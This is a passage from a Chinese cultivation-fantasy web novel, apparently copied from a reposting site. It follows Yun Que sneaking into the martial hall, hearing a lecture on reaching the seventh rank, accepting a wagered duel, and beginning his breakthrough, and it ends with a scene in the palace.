墨老语气阴森的说完,递给云缺一个古旧的小册子,记载着炼尸术的法门。 “有不懂的地方,可以来问我,切勿贪功冒进,否则容易神魂崩裂……” 墨老指了指墙角的一排大缸,语气诡异的道:“你的这些师兄们,就是最好的例子。” 说完,墨老无声无息的飘出门外,九头鼠与那具拼接好的白骨也跟着走了出去。 云缺随后打开大缸看了看,全是白骨! 难怪西楼人少,原来不是没人来,而是来的人,都死了! “炼尸术……” 这玩意听起来不错,但云缺没打算修炼,实在太危险。 连翻都没翻,云缺直接将小册子扔在住处。 比起多一具炼尸助战,还是自己活着的好。 他可不想若干年之后,有个师弟从大缸里把自己零散的白骨捞出来,重新组装。 躺在床上,云缺有点了解天祈学宫的规矩了。 先生教的东西,千奇百怪,学生可以随便学。 但自己修炼出现意外而亡故,那么与传授法门的先生是没有丝毫关系的。 这也是为何西楼死了不少学子,而墨老还能留在百花殿的原因所在。 一觉天亮。 在饭堂闷头吃早饭的时候,云缺察觉到对面有人看自己,而且离得很近,眼珠子都要掉进自己饭碗里了。 一抬头,正是屠苏的大脸。 这位草原大汗顶着两个黑眼圈,一个劲咽口水,旁边的满申也一个模样,像两只饿狼似的。 “怎么了大汗,有事吗。”云缺道。 “那个……云师弟啊,上次你吃了我的饭,今天能不能请我吃一顿啊,实在太饿了。”屠苏有气无力的道。 “东楼先生的人头豆腐你怎么不吃,顶饱的。”云缺边吃边道。 “那是人吃的……呃,正常人肯定吃不下,只有云师弟这种豪杰才敢吃!”屠苏急忙改口。 云缺听得好笑,道: “想吃什么,这顿我请你。” 屠苏和满申一听,转身就跑,不大会儿端过来一大盆包子,足有上百个。 云缺看得眼睛发直。 你这是一顿顶三天呐! “还是云师弟大方!” “以后送你两只羊!” 两人埋头大吃。 既然说了请客,云缺爽快的付了账。 “最好弄件演武殿的学子服。” 云缺思索着如何混进演武殿,梅钱那个小气的家伙是别指望了。 云缺很快想到一个人。 房石。 房石在学宫里行商,不知有没有学子服卖。 从饭堂出来,看到北楼外围着不少学子。 北楼没有先生,平常这里多为其他学子活动的地方,人不算多,不知今天出了什么新鲜事儿。 云缺正好路过,走上前瞧了瞧。 很快听说一个消息。 北楼有了新的先生! 百花殿东西南北四楼,目前只有三位先生授课,云缺也好奇着最后一位北楼先生是何方神圣,如果传授武道就更好了。 正瞧着热闹的,云缺发现身后有人挤。 回头一瞧,是个弱不禁风的年轻人,背着剑,鼻子上贴着膏药,不知被谁揍了。 这人云缺认得。 考核当晚,打算跟自己混进学宫的那个家伙,被自己关在了门外。 “你怎么进来了。”云缺奇怪的道。 “既是学问之地,笃学之人为何不能进来。”年轻人看到云缺,下意识的揉了揉鼻子。 “你又不是学子。”云缺道。 “我确实不是学子,但我是先生!”年轻人指了指鼻子上的膏药,道:“关门关那么重,药钱你得赔我。” 看着年轻人费力的挤进人群,云缺哭笑不得。 早说你是先生,当时就给你留门了。 况且这是什么先生啊,关个门都能被伤到,简直弱不禁风。 年轻的先生终于挤进北楼,站在大厅内高声道: “诸位安静,从今日起我在北楼教书!” 年轻先生咳嗽了一声,昂首道:“万般皆下品,惟有读书高,天下多不平,唯有剑平之,我的名字,便叫做剑平之!” 周围安静了一瞬。 剑平之这名字够古怪的,不过听起来很是霸道锋利,有一种锋芒毕露之感。 很快有学子发问: “先生传授的是什么?莫非是剑道?” 剑平之缓缓摆手,微笑道:“我传授的学问,有些特殊,叫做神道。” 周围一片惊呼。 神道这词儿,实在新鲜,大家都没听说过。 “什么是神道?” 有人高声发问。 剑平之面带笑意,温和的道: “神道乃是我专研多年,集佛、道、儒三家精髓开辟而来,别开天地,另创一家的修行之道。” 好家伙! 云缺听完大为震惊,这个剑平之,是打算开辟出一个新的修炼体系啊。 要行那圣人之举! 一众学子纷纷发出惊呼。 连学宫大祭酒都没敢说别开天地另创一家,这位新先生的口气未免太大。 一些颇感兴趣的学子纷纷发问,想要知道神道究竟有何玄奇之处。 剑平之看得出很高兴,抬手示意众人安静,道: “简单说来,神道,便是请神上身,借用神明之力,乘风破浪,开山填海!” 一句话说完,只听哗啦一声。 挤满人的大厅里,走得一个不剩。 云缺边走边嘀咕: “东楼算命,南楼歌舞,西楼验尸,北楼跳大神儿,百花殿可真热闹,正好凑了一桌四大天王。” 剑平之愣了愣。 “怎么都走了?神道之玄奥,非凡莫测,难道没人愿意学吗?不学也来听听嘛,我讲得可有趣了!” 北楼先生卖力的吆喝着,可惜没人理会。 云缺走着走着,目光一动。 有杀气! 以武者的敏锐,云缺朝着右侧望去。 果然与一双充满杀气的目光相对。 不远处的南楼门口,孤立着一道窈窕身影,一身淡蓝色百褶裙,长发如瀑,肩若削成腰如约素,美颜如玉。 正是穹舞。 只不过这位舞仙子的目光,此刻冷冽得好似能杀人,正瞪着云缺。 云缺自然不甘示弱,回瞪着对方。 你眼睛大,了不起吗,我眼睛也不小! 至于道歉。 那是不可能的。 你们姐俩长得一模一样,关我什么事。 瞪了好一会儿,穹舞转身走回南楼,看样子正准备着学舞,穿的也是舞裙。 云缺心里暗暗好奇。 穹舞与阿梅,绝对是姐妹。 但两人的处境,天差地别。 一个在学宫求学,一个在天牢里蹲大狱。 这是什么原因? 别人的事,云缺懒得多想,正好看到房石,于是追了上去。 “房师兄,留步。” “云师弟气色不错,想要存钱吗。” “不存钱,打听点事,房师兄这里既然卖东西,不知有没有演武殿的学子服,我打算买一件。” “云师弟真会开玩笑,学子服是学宫之物,学子的身份证明,岂能买卖,被学宫知道了,会被开除的。” “这样啊,那算了。” “我恰好前两天捡到一件演武殿的学子服,云师弟若认得丢失之人,可以代为领走,我只收一百两银子的保管费即可。” 云缺狐疑的看了眼对方,道:“当真?” “买卖无戏言。” 房石说着将云缺领到东楼一间小屋,果然拿出一套绣着刀剑的演武殿学子服,还是崭新的。 云缺痛快的给出一百两银票。 虽然舍不得银子,但混进演武殿最为重要。 拿到衣服后,云缺道: “房师兄应该知道我要这衣服有什么用,我若被演武殿发现抓住,你难道不怕被牵连?” “我相信云师弟的为人。” 房石拿出一枚遍布小孔的奇石,笑道:“极品法器留音石,刚才我们交易的对话已经记录下来,我是捡到的学子服,正好你花钱替失主领走了而已,我这人比较谨慎,所有买卖,都会留个后手。” 云缺挑起大拇指,道:“房师兄果然是买卖人。” 房石嘿嘿一笑,又拿出一块奇玉道:“我这里还有留影玉,一些重大的交易,不仅留声,还要留影,这样才能万无一失嘛。” 云缺麻木的笑了笑。 奇葩哪都有,唯独学宫多! 请记住本书首发域名:99。鸟书网手机版阅读网址:wap.99 第91章 以武开天 演武殿,学宫十二殿之一。 金碧辉煌的大殿外,并排划分着十处演武场。 每个演武场内都摆放着上百件兵刃,刀枪剑戟,斧钺钩叉,应有尽有。 经常有学子在演武场内切磋较量。 演武殿,传授武道一途,来此求学的无一例外全是武者。 武夫最喜欢切磋,很多武道招式只有在对战中才能快速修炼成功,以至于演武殿每天都有学子受伤。 学宫十二殿中的回春殿是传授医道的地方,学子们戏称回春殿早晚被演武殿兼并,因为回春殿里养伤的全是演武殿的武者,快要比回春殿学子的数量还多了。 由此可见,演武殿是打架圣地。 天黑之后,演武场上立刻变得空荡荡,学子们汇聚在演武殿一间宽敞的大厅内。 演武殿的先生比较特殊,白天喜欢睡大觉,只有晚上才会授课。 云缺穿着演武殿的学子服,很自然的融入人群当中。 到了大殿内,先生还没来。 云缺看了眼四周,很快瞄到穿着学子服的梅钱正坐在角落。 梅钱正闭目养神,等着上课。 听到旁边有动静也没在意,直至他听到熟悉的声音响起。 “不穿盔甲,终于有点人模狗样了。” 梅钱猛然睁眼,果然看到云缺坐在旁边。 “你怎么混进来了!”梅钱惊奇的低声道。 “什么叫混,我是来求学的,圣人说,偷师不丢人。” 云缺第一次看到梅钱不穿盔甲的样子,笑呵呵的用拳头锤了两下对方心口,道:“舍得扔掉你那身盔甲了?” 咚咚。 手里传来的响动,让云缺和梅钱同时沉默了。 梅钱这家伙穿盔甲的嗜好,实在令人匪夷所思。 盔甲不穿了,结果护心镜挂在衣服里面。 这是多怕死啊! 随着一道身影出现,大殿内安静下来。 云缺望向前面。 演武殿的先生名叫许闲云,四旬上下,面皮白净,身形高挑,算不上壮硕,看起来有点文质彬彬,好似儒生。 学宫十二殿,各殿先生的名讳都记载在小册子上,学子们随时可以翻阅。 云缺曾经看过,将各殿先生的名字早已记下。 许闲云走上讲台,环顾一众学子后,洪声道: “人来得不少,上次讲了炼骨境如何最快达到根基圆满,这次该讲突破炼神境。” 云缺闻言,目光一亮。 来巧了! 自己正需要突破炼神境的经验。 大殿内有很多八品炼骨境的学子,此刻纷纷正襟危坐,神态凝重而认真,对接下来的授课十分期待。 许闲云招了招手,立刻有学子搬来个大木箱,放到讲台旁。 大殿内的众人纷纷现出好奇之色,不知先生传授修炼经验的时候,怎么还要准备道具。 许闲云打开木箱,从中拎出一物。 大殿内响起一阵惊呼,有些女学子甚至捂住了嘴巴。 许闲云拿出来的东西,竟是一副白骨! 人骨。 看到那白骨,云缺的表情变得古怪起来。 白骨容易散开,各处骨头均用细细的绳子连接了起来,而且连接的手法老道,看起来十分完整。 云缺之所以表情古怪,因为许闲云手里的白骨,正是他昨天晚上拼接的那副! 墨老昨天要自己拼接白骨,原来是借给演武殿先生的。 许闲云一手拎着白骨,一手指着头盖骨,洪声道: “众所周知,冲击七品炼神境共有三步,也是三个难点,冲神脉,破神藏,凝神骨!每一步都危机重重,我先讲何为凝神骨。” 此话说完,有学子大为不解,询问道:“先生,破境七品炼神的第一步,不是冲神脉吗?” “没错,第一步是冲神脉,但那是你们的第一步!我想先讲第几步就讲第几步,不想听你可以上来讲!” 许闲云说完,没有学子还敢多问。 云缺听得好笑,这位演武殿先生的脾气够大的。 见没人说话,许闲云接着道: “所谓凝神骨,便是将神魂之力融入筋骨,神骨融合,将肉身淬炼至巅峰,唯有如此,才能为下个境界打好根基。” 许闲云环顾四周,问道:“都听懂了吗!” 一众学子齐声答道:“听懂了!” 许闲云点点头,道: “听不懂也无所谓,因为这段是废话,书本上全都有,看一眼就知道了,我不讲废话,你们当中,谁知道人身上共有多少块骨头。” 演武殿先生这个奇怪的问题,学子们低头的低头,摇头的摇头,一时间没人答得上来。 “二百零六块。” 云缺用很低的声音嘀咕了一句。 身为仵作,这种问题根本不算问题,早就数过了,别说人有多少骨头,就连各种妖兽有几块骨头,云缺也知道得清清楚楚。 许闲云的目光瞬间落在云缺身上,点头道: “不错,居然有人知道,那么你来说说看,二百零六块骨头,凝神骨的话,要从哪一块开始最好呢。” 云缺心头一惊。 自己刚才只是很低声音的自语,连旁边的梅钱都听不到,而且离着讲台极远,居然被人家听了去! 这位先生的听觉足以笼罩整个大厅,甚至整个演武殿! 这得多高的境界! 虽然心中惊奇,云缺外表始终镇定,起身答道: “如果我要凝神骨的话,一定从头骨开始。” 云缺没体会过凝神骨,但他八品炼骨境就是从头骨开始打熬,不同于其他人的从脚开始修炼。 云缺的回答,很快被一名学子反驳。 “不对!应该从脚开始!我们八品武者熬练筋骨,都从脚下开始,双脚是根基,脚下不牢站立不稳,何况头部最为重要,必须放在最后,将身体其他骨骼凝炼完毕后,经验也会充足,这时才是凝炼头骨的最佳时机!” 这番话,迎来许多学子的认同,很多人纷纷点头赞同。 云缺没去辩驳什么,直接坐下。 他又不是演武殿的人,这种时候低调为好,别人爱说什么说什么呗。 许闲云没给出正确答案,而是朝着云缺道: “说说你的理由,为何一定从头骨开始。” 云缺没办法,只好再次起身道: “我修炼是用来搏杀的,不是用来求稳的,双脚强弱无关紧要,先把脑袋保住才能在厮杀中活得更久,所以我选择从头开始。” 云缺的回答,推翻了一众学子固有的认知。 他们无需搏杀,只需要在学宫里不断学习修炼,就能提升境界,甚至有很多人根本没面对过妖兽,没经历过死战。 他们觉得打熬本体,就该从脚开始,根本不明白与妖兽的恶战中,脑袋如果太弱,很快就会丢的。 脚断了还能活,还能战。 脑袋断了,一命呜呼。 大厅里无数学子们疑惑之际,许闲云大笑起来。 “哈哈!好一个从头开始!先强化致命弱点,这是武夫与生俱来的直觉,都给我记住,我们是武夫!不是戏台上的武生!何为武?以武破禁,以武斩妖,以武开天!没有殊死而战的信念,趁早改修!” 说完,许闲云又一招手,立刻有人奉上热茶。 一众学子们安静的等待,有人明悟了什么,也有人始终懵懂。 等喝完茶,许闲云继续讲课,敲着骷髅的头骨道: “凝神骨,最佳顺序就是从头骨开始,因为神魂在头中,头骨与神魂最易融合,若去先融合双脚,那是舍近求远,浪费时间!” 哗啦哗啦。 许闲云晃动着手里的骨骸,道: “一块神骨一场劫,凝神骨的痛苦,唯有经历过的武者才懂,冲击境界之前,我劝你们先备好毛巾准备擦眼泪,当然你们可以忍住一口气,只融合关键的几块大骨,比如头骨椎骨,也有机会达到七品,不过战力会相对削弱,没有凝炼的那些骨头,将是永久的弱点。” 说完许闲云宣布暂时休息,他要去吃宵夜了,回来再讲破神藏。 云缺正听得聚精会神呢,结果先生走了。 难怪牧青瑶说学宫先生千奇百怪。 这位演武殿先生授课,不是喝茶就是宵夜,实在够怪的。 先生一走,大厅里热闹起来,学子们互相议论,嘈杂四起。 听了半堂课,云缺想起常威当时在危急时刻破境七品,应该就是一口气融合了主要的几块大骨,更多的骨骼他根本没时间融合。 旁边走来一人。 云缺抬头一看,笑了起来。 “吴师兄恢复得不错,眼眶不怎么青了。” 过来的,正是吴鹰。 吴鹰苦笑着坐到旁边,道:“眼眶好了点,鼻子现在还偶尔流血呢。” “吴师兄没被牵连吧。”云缺道。 “还好,大人没怎么怪罪,只是这两月的俸禄与我无缘喽。”吴鹰自嘲道。 “里面现在什么情况?”云缺低声道。 里面,指的是天牢。 “督捕司的人满皇城找了两天,没找到只能作罢,派些人手在外面做做样子,你的事已经没人提了。”吴鹰低声道。 云缺放心了不少。 没有大动干戈,说明刑部也心虚,否则天牢逃了重犯,哪能这么消停,只追查两天。 周围人多,吴鹰没再多说,临走前低声道: “今晚演武殿有学正查检,是事务堂的总管宋先生,走的时候小心。” 云缺闻言往大厅外看了眼,果然看到一名身穿黑袍,神色肃穆的中年人站在门外。 学正,是天祈学宫里的一种身份,也是职务。 天祈学宫,以大祭酒为首,执掌学宫。 其下设有各殿先生,传授学问。 先生之下是客卿,为聘请而来的奇人异士,接下来便是学正。 学正相当于学宫内的管理人员,协助大祭酒处理各项事务,归属事务堂。 吴鹰口中的宋先生,名为宋道理,是学宫第一学正,事务堂的总管。 据说此人极为严厉,经常处罚学子,被私下里称为黑面虎。 学正偶尔会到各殿查检学子人数与身份,没想到今天碰上了,而且还是总管。 云缺暗道倒霉。 等会出去的时候,得想办法绕开那位黑面虎。 云缺看了看旁边。 梅钱正一本正经的在小本子上记录着先生讲课的内容,俨然一位好学生的模样。 “帮……” 云缺刚说一个字,梅钱立刻道:“我不认得你,请这位同窗莫要打扰我学习。” 要不是周围全是学子,云缺肯定大骂一顿。 “过阵子帮我要个账,分你五十两。”云缺话锋一转。 “欠债还钱天经地义,对方什么来头。”梅钱立刻放下笔,眼睛里闪烁着铜臭之光。 “百花殿的学子,家里开酒楼的,打赌输给我三百两,我怕他不还钱,找你帮忙,这种事还是你梅校尉最拿手。”云缺道。 说出实情的话,梅钱这家伙肯定不干,于是云缺把誉王之子说成开酒楼的,三千两赌注说成三百两。 梅钱狡猾得很,一身心眼,好在拖人下水这方面,云缺更胜一筹。 “有我在,你放心,三百两的账一分不会少,不过我要一百两。”梅钱道。 “你心得黑成什么样才能跟我讲价?三百两的债,你要一百两?”云缺道。 “赌债最难讨,你又不是不知道,少于一百两,你自己去要,我才不管。”梅钱道。 “算你狠,一百就一百,要账的时候我喊你。”云缺一副肉疼神色。 梅钱很是得意,还以为自己占了多大便宜,殊不知他已经被云缺拖进水坑了。 请记住本书首发域名:99。鸟书网手机版阅读网址:wap.99 第92章 等着被我虐吧傻瓜 许闲云吃完宵夜回来,开始讲解破神藏与冲神脉。 云缺听得格外认真,并暗暗佩服。 这位许先生,的确有东西,讲的全是大白话,一听就懂,可仔细琢磨,其中内含玄机。 有时听着只是一句笑谈,实际上却是武道强者的真正经验! 听到最后,云缺有一种茅塞顿开的感觉。 之前自己苦苦摸索,有机会就到处打听,这才艰难的修炼到八品境界。 如果有许闲云这种名师指点,加上足够的材料,云缺有把握一年内就从普通人修炼到八品武者的程度。 都说修炼资源最为重要。 可名师指点,又何尝不是一种重要的资源呢。 听了一堂课,云缺觉得天祈学宫,没白来! 讲完了冲击七品的三个要点,许闲云大袖一挥,扬长而去。 眼看着先生要走,云缺起身道: “先生留步,我有个疑问。” 许闲云停住,见是之前答出人体有多少骨头的云缺,点头道: “什么疑问,说来听听。” “先生说凝神骨要以神魂之力彻底融合浑身骨骼才能大成,如果有两道神魂呢,该如何修炼。” 云缺的问题,听得在场学子纷纷错愕。 这哪是问题,简直在找茬一样! 人怎么可能有两道神魂。 学子们朝云缺投去奇怪的目光,认为先生接下来肯定会大发雷霆。 演武殿的学子都知道,先生许闲云是个暴脾气,遇到不顺眼的学子,轻则大骂,重则动手。 被许闲云揍过的演武殿学子,大有人在。 现在还有个躺在回春殿呢。 云缺问出的这个问题,看似多余,可对云缺来说至关重要。 因为妖魂的存在! 妖身为刀,妖魂则融入了云缺的神魂,云缺相当于双魂之人,他不清楚这一点对突破炼神境有没有影响。 出乎所有学子的预料,许闲云非但没有发怒,反而沉默下来。 好一会儿才开口。 “双魂之身,想要冲击炼神境,冲神脉与破神藏和常人无异,唯独最后的凝神骨,需要凝炼两次,将两道神魂分别与骨骼融合,方可真正圆满。” 顿了顿,许闲云声音低沉的道: “一旦成功,双魂凝神骨的武者,在七品境界便可同阶无敌!若有一魂不肯融合,前功尽弃!” 前功尽弃四个字,被说得声音极重,带着一种奇怪的感情。 说完,许闲云就此离开。 等先生走后,学子们才相继起身离开。 这是礼貌,也是规矩,对先生的一种尊重。 云缺想着双魂之事,刚站起来,一回头,梅钱已经溜到大门口了。 “你丫的梅老六,你真是我朋友!” 云缺咬牙切齿。 没办法,只能趁着人多往外走。 云缺特意溜边走,躲着那位学正的目光,结果刚到门口,还是被发现了。 宋道理目光如鹰,每个出来的学子都逃不过他的眼睛。 身为事务堂总管,宋道理有着过目不忘的本事,所有学宫学子,他都认得,连哪个学子是什么殿的都一清二楚。 数万学宫弟子,一个不落的记住,这就是宋道理的本事。 “你……” 宋道理盯住云缺,目光一沉就要质问。 话没说完,大厅里忽然传来一声大叫,紧接着有人摔倒在地,周围学子惊呼四起,有人大喊救人。 宋道理闻言一惊,顾不得云缺,急忙过去查看。 云缺趁机溜出演武殿。 发出大叫后摔倒的人,云缺看到了,正是吴鹰。 吴鹰这是帮自己解围,吸引了宋道理的注意力。 “还是吴师兄够义气。” 云缺离开大殿后,完全轻松下来。 演武殿一侧有一座特殊的三层楼宇,大门口有学子进出,匾额上写着‘藏书楼’三个大字。 天祈学宫十二殿,每一殿都设有藏书楼,存放着本殿的功法心法与众多的修炼心得,是实实在在的宝地。 百花殿也有,云缺去看过,光是菜谱就占了半层楼。 演武殿的藏书楼则不同,里面存放着与武道有关的大量资料,是云缺最希望得到的。 站在藏书楼门口观察一番,云缺泄气了。 进藏书楼,需要一种特制的牌子,叫做‘书牌’,对应着演武殿学子的身份,门口有学士看管,还得登记才能进去。 藏书楼的书籍不外借,想要看,只能进去看,是带不出来的。 云缺叹了口气。 宝山就在眼前,偏偏看不到,徒呼奈何。 实在让人心痒难耐。 以云缺的聪慧,加上过目不忘的本事,只要进去藏书楼,相当于蛟龙入海,绝对能收获颇丰。 毕竟各殿先生可不是天天授课。 有时候半月一月都不露面,学子们最大的知识来源,其实就是藏书楼。 这里能真正了解到各派修炼体系的精髓,能得到许多强者的修炼心得,还能修炼五花八门的武道功法。 正在云缺觉得无比遗憾之际,围过来一伙人。 全是演武殿的学子,五大三粗,云缺一个也不认得。 为首是个膀大腰圆的年轻武者,一双环眼瞪得如牛,盯着云缺道: “你就是那个护送灵芸郡主进城的云缺?” 云缺没想到学宫里居然有人认得自己,诧异了瞬间便明白过来。 当时送郡主进城的,还有白厌与一众禁军金吾卫,这几天下来,消息肯定传了出去,对面这位应该在金吾卫里有熟人。 “小小功劳,不提也罢。”云缺谦虚道。 “功劳?我看你是癞蛤蟆想吃天鹅肉!小子,我警告你,别以为护送郡主就有功了,灵芸郡主不是你这种乡巴佬能高攀得上的!” 这话说得云缺就不爱听了。 “护送谁,是我的事,我想送郡主就送郡主,想送老太太就送老太太,与你有关么。”云缺道。 “当然有关!你敢觊觎灵芸郡主,就是对我的挑衅!” 云缺听得莫名其妙,道:“你谁呀?” “我叫犁谷!”说完加了句:“灵芸榜前十!” 名字没听过,不过灵芸榜这三个字好像耳熟,略一回想,云缺终于想了起来。 木安说过,学宫里爱慕灵芸郡主的男学子们自发弄了个灵芸榜,以排进前百为荣。 “哦,原来是大榜前十啊,没听说过。”云缺道。 “灵芸榜以战力排序!上榜者都是高手,你居然没听过,真是孤陋寡闻!”另一名学子鄙夷道。 “犁师兄能排在前十,那是真正的高手!你这无名之辈连前百都进不去!”又一人自豪道。 “抱歉,什么榜我都没兴趣,麻烦让让。”云缺道。 “让开可以,你得发誓今后不再骚扰灵芸郡主,见到郡主就绕着走!”犁谷站在云缺面前,冷声道。 “我要是不发誓呢。”云缺道。 “不发誓也行,从我胯下钻过去,你就可以走了。”犁谷说着指了指脚下,冷笑连连。 胯下之辱,韩信受得,云缺可受不得。 “我这人骨头太硬,弯不下腰,从你胯下钻过去肯定做不到了,不过……”云缺淡然一笑,道:“从你脸上踩过去倒是没问题。” “哈哈!好大的口气!” 犁谷大笑道:“既然你这么有骨气,敢不敢与我比斗一场!你若输了,今后就得远离灵芸郡主,你若赢了,我退出灵芸榜!” 云缺听得乐出声来,道: “我给你个建议,你找个婆娘生个娃,回家跟你儿子玩去。” 这边的争执,吸引了不少人围观,很快围过来好多人看热闹。 犁谷冷笑道: “连比斗都不敢,我看你不是什么武夫,是个懦夫!是我多虑了,你这种人,灵芸郡主一根眼毛都看不上!滚吧!” 犁谷说着让开去路。 他旁边的几个同伴纷纷现出鄙夷之色,口出不逊。 “比斗都不敢,还算什么演武殿的学子,这种懦夫别说灵芸郡主,连青楼里的窑姐都看不上哈哈!” “不堪一击的小角色而已,咱们小题大做了。” 犁谷听得哈哈大笑,骂道: “快点滚!少在这脏了老子的眼睛,下次再敢纠缠灵芸郡主,见一次揍你一次!” 然而云缺却没走,笑呵呵的站在原地,道: “你想打一场是吧,行啊,不过得添点彩头,一局一千两,外加你身上的书牌。” 正愁没机会去藏书楼,有人就送上门来。 云缺也挺高兴的。 犁谷闻言立刻狞笑起来,道:“这可是你说的,小子!你别反悔!” “当然不会反悔,我们可以现在立字据。”云缺笑呵呵的道。 “好!诸位同窗做个见证!”犁谷大声道:“我与此人以武赌斗!谁反悔谁就是懦夫饭桶窝囊废!” 周围看热闹的越来越多,好几百人,犁谷的嗓门又大,人们听得清清楚楚。 “大家都听到了,我们作证!” “武者一诺千金,临阵退缩的是胆小鬼!” “天天切磋没意思,还是赌斗过瘾呐,犁谷加把劲,让这小子去回春殿躺一年!” “有没有人下注!我坐庄,犁谷一赔一,另外那小子一赔十!” 周围学子纷纷起哄。 这里是演武殿,全是武夫,学问没多少,打架最爱看。 “我下注!十两银子压犁师兄赢!这次我稳赚十两!” 云缺看到第一个下注是正是梅钱,在这家伙的带动下,不少人开始掏钱下注,最少几两,最多几百两的都有。 犁谷冷笑道:“明天,就在演武殿外!谁不来谁是狗娘养的!” “明天不行,我还有事,三天后,演武场一战。”云缺道。 “可以!我等你三天!嘿嘿嘿。” 犁谷怪笑着用双拳互相撞了一下,发出一声闷响,同时有气浪如狂风般散开。 感知到犁谷故意外散的气息后,云缺确定了对方的修为。 七品炼神境! “等着被我虐吧傻瓜!” 犁谷无比得意的骂了句,自己也去下了重注。 请记住本书首发域名:99。鸟书网手机版阅读网址:wap.99 第93章 学宫真是好地方 难怪犁谷如此张狂,信心十足。 他认为以七品战八品,稳赢。 云缺笑了笑,转身走出演武殿。 很快梅钱追了上来。 “给我个准信儿,你到底打不打?”梅钱道。 “当然打了!一千两银子呢,傻子才不打。”云缺道。 “犁谷那家伙是七品武者,你下手注意点,别出人命。”梅钱道。 “我才八品啊兄弟,你这时候不是应该劝我小心,打不过就认输才对么。”云缺好笑道。 “你是正常的八品么?”梅钱语气古怪的道:“我怕你收不住手,在学宫杀人就麻烦了。” “我有分寸。”云缺望着远处还在下注的人群,道:“你觉不觉得,学宫里的钱,比外面好赚多了。” “是啊,没来之前我也不知道,来了之后才明白,学宫里的傻子真多。”梅钱同样望着人群冷笑道。 两人感慨一叹,异口同声道: “学宫真是好地方啊……” 云缺走后,梅钱重新转回下注的地方,拿出三百两银票押了云缺。 要不是梅钱一路赶到皇城花费不少,身上没多少银子了,他肯定押得更多。 一赔十的赌注,今天押三百两,三天后就有三千两到手! 至于云缺会不会输,梅钱根本没考虑过。 犁谷是七品武者不假,又在演武殿修炼多年,打架也是把好手,但他再厉害,比得过野外那些凶悍的七阶妖兽么? 答案肯定是比不过。 云缺连七阶妖兽都能宰,何况一个只会在学宫里与同窗切磋打架的富家子。 然而梅钱并不知道的是,云缺现在已经无法动用妖力,否则梅钱肯定不会下那么重的注,把家底儿都押出去了。 没有妖力加持,云缺的战力再强不过八品巅峰,对战七品极为吃力。 但云缺并不担心。 之所以三天后比斗,云缺准备在三天内冲进七品! 或许有些仓促,但云缺没办法。 并非因为犁谷,而是演武殿先生许闲云最后的那句话。 ‘若有一魂不肯融合,前功尽弃!’ 云缺身上除了自己的神魂之外,还有一道妖魂。 这也是云缺为何问出那个奇怪问题的初衷。 如果破境七品,除了自己的神魂融骨之外,还要妖魂融骨。 而那道妖魂,根本不受云缺的控制! 正常情况下,七品炼神境最后的凝神骨,对云缺来说是一道难以跨越的门槛。 妖魂若不配合,云缺也许这辈子只能停留在八品炼骨境。 巧合的是,红莲教主的魂咒莲花印,暂时封印了妖魂,让云缺只剩一道神魂。 这是千载难逢的机会! 云缺现在很想感谢一番红莲教主,无意中帮了自己一个大忙。 莲花印不知能封住妖魂多久,所以云缺要尽快成为七品武者才行。 回到百花殿,云缺先吃晚饭,然后找到房石,问了问冲击七品的丹药在何种价格。 得知常用的丹药有三种。 冲脉丹两千两,神藏丹三千两,养骨丹五千两。 一听价格,云缺一脸苦涩。 一种也买不起。 太贵了! 皇城内有专门交易修行材料的坊市,里面的丹药应该会便宜一些,但云缺出不去学宫。 外面贴着通缉令呢,一旦被抓回天牢,再想回来就难了。 “云师弟如果手头紧,不如先买一粒冲脉丹冲开经脉,完成第一步,之后的破神藏与凝神骨可以慢慢来,很多人耗时一两年才完全从八品冲进七品。”房石道。 “不瞒房师兄,冲脉丹我也买不起。”云缺道。 “老客户了,给你打个九折,一粒冲脉丹收你一千八百两。” 房石说着取出一个小巧的瓷瓶,道:“丹药你拿走,三天后给钱即可。” 云缺有些诧异。 这位房师兄实在大方,居然先给货,后收钱。 “我身上只剩八百多两,房师兄不怕我三天后拿不出钱来?”云缺道。 “我相信云师弟肯定拿得出,赢了比斗,一千两进账,加上你获得赌注的银子,正好够丹药钱。”房石将云缺身上有多少银两算得明明白白。 “房师兄消息够灵通的。”云缺意外的道。 自己刚从演武殿回来,吃顿饭的工夫,房石居然都知道了。 “但凡热闹事儿,在学宫里传得极快,我看好云师弟,肯定能打赢。”房石笑道。 “多谢房师兄,对了,你知不知道我和谁赌斗。”云缺接过丹药后问了句。 “只听说你与人赌斗,对方是谁尚不清楚,正打算去问问呢。”房石道。 “是犁谷。”云缺说完转身就走。 剩下房石表情僵硬的伸着手,一动不动,看模样好像要讨回丹药又难以启齿。 回到西楼,云缺关好门窗。 盘膝而坐,调整气息。 九品炼体,八品炼骨,均为打熬肉身,修行中吃得苦都能在身体上得到展现,肉身逐渐强大。 而七品炼神,需要打熬的已经不止肉身本体,还有神魂之力,其中的凶险与艰难远非九品八品可比。 第一步冲神脉,指的是冲开周身奇经八脉,将每一条经脉都以气机洗刷凝炼,达到经脉坚固的效果。 唯有经脉强壮坚韧,才能让武者动用出威力更强大的内劲,而非只能以外力对敌。 直至将周身气血运转到巅峰状态,云缺张口吞下冲脉丹。 丹药入腹,立刻炸起一股浑厚的药力。 在这份药力协助下,云缺调动周身气机,从头到脚,仔仔细细冲击着每一条经脉。 时间紧迫,必须在妖魂醒来之前,突破到七品! 西楼平静如昔。 云缺开始了闭关冲击境界。 当晚。 皇宫内却并不平静。 御书房内,时而传来杯盏碎裂的响动。 皇帝在大发雷霆。 一众侍女太监站在御书房外极远的地方,没有一个人敢接近。 “废物!全是废物!” 殷子受的脸色惨白,目光阴沉,大骂道:“这么多天,连点线索也没有,养一群狗都比你们有用!” 书房内,跪着十余人,身穿黑衣。 没人敢抬头。 老太监站在一侧,垂手而立,等皇帝发完火,才轻声道: “陛下息怒,贼人实在狡猾,没留下半点线索,再追查下去恐怕也是无用功,此案蹊跷,老臣以为,不如交给司天监查办,吕青应该有办法将东西找出来。” “司天监……” 殷子受的神色变化了起来,沉默良久,摇头道: “吕青怎么说也是前朝之人,朕信得过他,但这件事,不能让他接手,更不能让他知道。” 老太监张了张口,想说的话又咽了下去。 他很清楚皇帝在忌讳着什么。 晋国取代大燕,实在太快,以至于民间流传晋皇窃国的说法,认为殷子受的皇位是偷来的,而殷子受如今最在意的,就是帝王的威望。 殷子受不会允许有窃国的说法存在,这些年对前朝遗臣,他也大多重用,目的就是给自己正名。 可是这次皇宫失窃,所丢的东西,与皇帝威望息息相关。 一旦消息传扬出去,皇位不会有影响,但皇帝的威望将大打折扣。 御书房内,气氛压抑得可怕。 皇帝不说话,其他人大气不敢喘。 老太监最先打破了沉默。 “陛下不如求助国师,国师为方外之人,对此事定然不会宣扬,若国师出手,遗失之物当可完璧归赵。” 